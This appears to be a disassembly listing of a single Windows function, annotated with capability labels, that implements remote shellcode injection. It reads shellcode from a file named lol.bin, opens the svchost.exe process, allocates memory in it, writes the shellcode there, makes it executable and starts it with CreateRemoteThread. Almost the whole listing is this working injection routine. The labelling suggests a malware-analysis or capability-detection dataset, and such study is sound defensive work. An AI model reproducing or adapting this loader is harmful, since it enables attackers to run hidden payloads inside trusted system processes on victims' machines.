Function at 0x140001580
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r8, str.svchost.exe
lea rdx, str.lol.bin
lea rcx, str.___RemoteInjectionFromFile__File_:__s__Process__s__n
call fcn.140001020
call fcn.140001080
mov rdi, rax
test rax, rax
jne 0x1400015dd
lea rcx, str.____Error_when_retrieving_file_content_n
call fcn.140001020
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003370
add rsp, 0x50
pop rdi
ret
mov rdx, rdi
mov qword [rsp + 0x68], rbp
lea rcx, str.___File_content_at_:_0x_X_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapSize]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140001635
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_retrieving_shellcode_size_n
call fcn.140001020
xor eax, eax
jmp 0x1400018d2
mov rdx, rbp
mov qword [rsp + 0x60], rbx
lea rcx, str.___File_size_0x_X_n
call fcn.140001020
call fcn.1400011e0
mov ebx, eax
cmp eax, 0xffffffff
jne 0x14000167c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_retrieving_process_PID_n
call fcn.140001020
xor eax, eax
jmp 0x1400018cd
mov edx, ebx
lea rcx, str.___Target_process_PID_:__d_n
call fcn.140001020
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400016c9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_opening_target_process_n
call fcn.140001020
xor eax, eax
jmp 0x1400018cd
lea rcx, str.___Target_process_opened_successfully_n
mov qword [rsp + 0x70], rsi
call fcn.140001020
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8, rbp
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x14000172e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_allocating_memory_n
call fcn.140001020
xor eax, eax
jmp 0x1400018c8
mov rdx, rsi
mov qword [rsp + 0x78], r14
lea rcx, str.___Memory_allocation_for_shellcode_at_:_0x_X_n
call fcn.140001020
xor r14d, r14d
mov r9, rbp
mov r8, rdi
mov qword [rsp + 0x20], r14
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400017a5
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_writing_the_shellcode_into_the_target_process_n
call fcn.140001020
xor eax, eax
jmp 0x1400018c3
lea rcx, str.___Shellcode_successfully_copied_n
call fcn.140001020
lea rax, [rsp + 0x40]
mov r9d, 0x20
mov r8, rbp
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1400017fb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____Error_when_modifying_memory_protection_n
jmp 0x140001854
lea rcx, str.___Shellcode_now_executable_n
call fcn.140001020
mov qword [rsp + 0x30], r14
mov r9, rsi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbp, rax
test rax, rax
jne 0x140001871
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____Error_when_starting_the_thread_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x1400018c3
lea rcx, str.___Thread_created_n
call fcn.140001020
mov edx, 0xffffffff
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1400018aa
lea rcx, str.____Error_waiting_for_thread_to_finish_n
call fcn.140001020
xor eax, eax
jmp 0x1400018c3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003370
add rsp, 0x50
pop rdi
ret